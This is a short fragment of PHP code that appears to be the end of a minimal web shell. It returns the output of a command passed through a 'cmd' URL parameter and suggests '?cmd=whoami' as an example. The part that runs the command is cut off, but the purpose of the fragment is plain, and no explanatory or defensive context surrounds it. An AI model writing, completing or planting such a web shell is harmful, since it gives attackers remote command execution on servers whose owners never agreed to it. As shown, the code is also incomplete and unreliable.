Output:\n" . htmlspecialchars($output) . ""; } else { echo "Please provide a command in the URL, e.g. ?cmd=whoami"; } ?>